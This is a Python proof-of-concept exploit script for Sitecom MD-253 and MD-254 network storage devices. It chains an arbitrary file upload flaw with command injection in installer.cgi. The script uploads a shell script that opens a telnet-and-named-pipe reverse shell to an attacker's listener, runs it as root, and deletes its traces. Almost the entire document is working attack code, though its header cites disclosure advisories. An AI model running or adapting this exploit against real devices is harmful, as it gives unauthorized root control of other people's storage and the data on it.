#!/usr/bin/python
#
# Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit
# Date: 09/11/12
# Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl)
# Vendor Homepage: http://www.sitecom.com
# Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin
# Version: 2.4.17 and below
# Tested on: Windows 7 x64 and Backtrack 5 R1
# CVE : N/A
#
# This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage
# devices can be combined to obtain a root shell.
#
# Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:
#
# 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
# - granted execute permissions
# - not removed after uploading if they don't contain valid firmware
# - stored in a predictable location
# 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
# root (only a limited character set can be used due to URL-encoding by CGI-handler)
#
# Known Limitations:
# - Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr
#
# Vulnerability Details:
# - http://www.alcyon.nl/advisories/aa-007
# - http://www.alcyon.nl/advisories/aa-008
#
# Latest version of this exploit:
# - http://www.alcyon.nl/blog/sitecom-poc-exploit
#
import sys
import os
import socket
import thread
import datetime
from optparse import OptionParser
upload_url = '/cgi-bin/upload'
cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'
sh_name = 'revsh'
sh_script = """
#!/bin/sh
mknod /tmp/backpipe p
telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
# clean up our mess
rm -f /tmp/backpipe
rm -f /tmp/%s
""".rstrip('\r')
headers = """Host: %s\r
User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Language: en-us,en;q=0.5\r
Proxy-Connection: close\r
Referer: http://%s/firmware.htm\r
Cookie: language=en;\r\n"""
class Exploit:
def stdin_thread(self, sock):
try:
fd = sys.stdin.fileno()
while True:
data = os.read(fd, 1024)
if not data:
break
while True:
nleft = len(data)
nleft -= sock.send(data)
if nleft == 0:
break
except:
pass
sock.close()
self.running = False
def stdout_thread(self, sock):
last = datetime.datetime.now()
try:
fd = sys.stdout.fileno()
while True:
if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
sys.stderr.write('# '); # Insert fake prompt
last = datetime.datetime.now()
data = sock.recv(1024)
if not data:
break
while True:
nleft = len(data)
nleft -= os.write(fd, data)
if nleft == 0:
break
except Exception as e:
print e
pass
sock.close()
self.running = False
def parse_options(self):
parser = OptionParser(usage="usage: %prog [options]")
parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname",
help="Specify the host to connect to")
parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip",
help="Target IP for reverse shell connection")
parser.add_option("-p","--port",action="store",type="int",dest="port",
help="TCP port for the reverse shell connection")
parser.set_defaults(hostname=None, listener_ip=None, port=7777)
(options, args) = parser.parse_args();
if(options.hostname == None):
sys.stdout.write("Remote hostname/IP required\n")
parser.print_help()
sys.exit()
#self.forced_bind = (options.listener_ip != None)
self.listener_ip = options.listener_ip
self.hostname = options.hostname
self.port = options.port
def start_local_listener(self):
self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
except socket.error:
sys.stderr.write("[-] Unable to set TCP_NODELAY")
try:
self.serv.bind((self.listener_ip, self.port))
except:
print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall."
try:
self.serv.bind(('', self.port))
except:
print "[-] Unable to bind to default address. Aborting."
sys.exit(2)
print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)
self.serv.listen(5)
self.clientsock, addr = self.serv.accept()
print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
self.clientsock.send('/bin/busybox uname -a\n');
banner = self.clientsock.recv(2048)
if (banner.find('Linux'))>=0:
print "[*] W00t W00t, got shell!\n\n%s\n" % banner
thread.start_new_thread(self.stdin_thread, (self.clientsock,))
thread.start_new_thread(self.stdout_thread, (self.clientsock,))
def connect_socket(self):
print "[*] Connecting..."
try:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect( (self.hostname, 80) )
if not self.listener_ip:
self.listener_ip = self.socket.getsockname()[0]
print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])
except Exception as inst:
print inst
print "[-] Unable to connect"
sys.exit(2)
def upload_payload(self):
print "[*] Uploading payload\n"
try:
self.socket.send('POST %s HTTP/1.1\n' % upload_url)
self.send_headers()
ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'
begin_file='-----------------------------41184676334\r\n\
Content-Disposition: form-data; name="file"; filename="%s"\r\n\
Content-Type: application/octet-stream\r\n\r'
end_file='\r\n-----------------------------41184676334--\r\n'
pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
cl = 'Content-Length: %s\r\n\r\n' % (len(pl))
crlf = '\r\n'
data = ''.join([ct,cl,pl,crlf])
self.socket.send(data)
if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:
print "[*] Payload succesfully uploaded"
self.socket.close()
else:
print "[-] Unexpected response. Trying to proceed anyway."
except:
print "[-] Error uploading payload. Aborting."
sys.exit(2)
def send_headers(self):
data = headers %(self.hostname, self.hostname)
self.socket.send(data)
def execute_payload(self):
print "[*] Executing payload"
cmd = '/tmp/' + sh_name
req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)
cr = '\r\n'
self.socket.send(''.join([req,cr]))
self.send_headers()
if self.socket.recv(2048).find("200 OK")>=0:
print "[*] Finished executing payload"
self.socket.close()
def run(self):
self.line_buf = ''
self.prompt = False
self.parse_options()
self.connect_socket()
thread.start_new_thread(self.start_local_listener, ())
self.upload_payload()
self.connect_socket()
self.execute_payload()
print "[*] Waiting for reverse shell connection"
self.running = True
while self.running:
pass
exploit = Exploit()
exploit.run()
